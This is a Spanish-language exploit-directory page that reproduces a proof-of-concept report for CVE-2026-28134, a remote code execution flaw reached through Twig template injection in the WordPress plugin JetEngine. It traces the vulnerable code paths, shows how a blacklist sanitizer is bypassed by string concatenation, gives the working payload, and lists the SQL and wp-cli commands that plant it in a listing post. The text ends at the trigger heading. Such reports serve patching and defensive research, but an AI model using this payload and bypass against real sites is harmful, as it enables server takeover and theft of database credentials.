Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Ejecución Remota de Código Autenticada (Contributor+) | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2026-28134
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebDesarrollo de Payloads
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Ejecución Remota de Código Autenticada (Contributor+)

Ver Repositorio
16hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Informe de explotación de CVE-2026-28134

JetEngine <= 3.7.2 — Ejecución remota de código autenticada (Colaborador+) mediante SSTI en Twig

Fecha: 11 de marzo de 2026 Puntuación CVSS: 8.8 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin afectado: JetEngine <= 3.7.2 Slug del plugin: jet-engine CVE: CVE-2026-28134 Estado: Privado Versión de WordPress probada: Última


Resumen ejecutivo

CVE-2026-28134 es una vulnerabilidad de Ejecución Remota de Código en el plugin de WordPress JetEngine que afecta a todas las versiones hasta la 3.7.2 inclusive. La vulnerabilidad permite a atacantes autenticados con acceso de nivel Colaborador o superior ejecutar comandos arbitrarios del sistema operativo en el servidor inyectando una plantilla Twig maliciosa en una entrada Listing de JetEngine.

La cadena de ataque combina tres debilidades:

  1. Un despachador AJAX no autenticado sin comprobación de nonce ni de permisos que renderiza las plantillas de las entradas Listing.
  2. Un motor de renderizado Twig/Timber sin sandbox — solo un sanitizador basado en listas negras de cadenas.
  3. Una evasión del sanitizador mediante el operador de concatenación de cadenas ~ de Twig para dividir nombres de funciones bloqueados entre tokens.

✅ VULNERABILIDAD CONFIRMADA — RCE completo logrado

Impacto confirmado:

  • Ejecución de comandos arbitrarios del sistema operativo como www-data
  • Acceso completo de lectura al sistema de archivos (/etc/passwd, wp-config.php)
  • Exfiltración de credenciales de la base de datos

Detalles de la vulnerabilidad

Resumen técnico

JetEngine proporciona un tipo de vista Listing basado en Twig/Timber. Cuando el componente timber_views está habilitado, las entradas Listing con _listing_type = twig tienen su meta de entrada _jet_engine_listing_html renderizada como una plantilla Twig en vivo mediante Timber. La canalización de renderizado es accesible a través de la acción AJAX no autenticada wp_ajax_nopriv_jet_engine_ajax, requiriendo únicamente que el atacante pueda crear o modificar una entrada Listing de JetEngine (mínimo rol Colaborador).

Componentes afectados

ArchivoProblema
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax registrado — sin autenticación ni nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — despacho de métodos públicos arbitrarios
includes/components/timber-views/timber.php:150render_html() renderiza la plantilla Twig controlada por el atacante sin sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — lista negra de regex de cadenas, evadida mediante división de tokens
timber-library/lib/Twig.php:42-43Timber registra fn()/function() como envoltorios Twig para call_user_func_array

Cadena de explotación

Paso 1 — Despachador AJAX no autenticado

ajax-handlers.php registra la acción AJAX tanto para usuarios autenticados como no autenticados:

// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

El manejador despacha a cualquier método público de la clase basándose en $_REQUEST['handler'] sin comprobación de nonce ni de permisos:

// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Llamar a listing_load_more es accesible públicamente y desencadena la canalización de renderizado de Listing.

Paso 2 — Canalización de renderizado Twig

La cadena de llamadas listing_load_more → get_listing → frontend->get_listing_item llega a:

// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Cuando $listing_view = 'twig', esto dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lee la plantilla Twig del campo meta _jet_engine_listing_html de la entrada y la pasa directamente a render_html():

// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig renderiza sin sandbox. La única protección es sanitize_twig_content().

Paso 3 — Evasión del sanitizador mediante concatenación de cadenas

sanitize_twig_content() elimina nombres de funciones PHP peligrosos mediante patrones regex de límite de palabra y luego comprueba si la plantilla fue modificada:

// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

El patrón \bsystem\b coincide con el token literal system. No coincide con "sys" ~ "tem" porque son dos tokens de cadena entre comillas separados. Twig evalúa la concatenación en tiempo de renderizado, produciendo "system" solo en memoria — la plantilla fuente nunca contiene la palabra bloqueada.

Payload de evasión:

{{ fn("sys" ~ "tem", "id") }}

El sanitizador ve fn, "sys", ~, "tem", "id" — ninguno está en la lista negra. Pasa sin cambios.

Paso 4 — Ejecución de código mediante el helper fn() de Timber

Timber registra envoltorios invocables de PHP directamente en el entorno de Twig:

// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} se resuelve a call_user_func_array("system", ["id"]) — ejecución de comandos arbitrarios del sistema operativo.


Prueba de concepto

Requisitos previos

  1. El atacante tiene acceso de WordPress de nivel Colaborador (o superior).
  2. El componente timber_views de JetEngine está habilitado (Ajustes de JetEngine > Rendimiento > Vistas Timber/Twig).
  3. El plugin de la librería Timber está instalado y activo.

Configuración

Cree una entrada Listing de JetEngine con la plantilla Twig maliciosa almacenada en la meta de la entrada:

-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

O mediante wp-cli (como el usuario Colaborador):

wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Disparador (no autenticado)

Descargar herramienta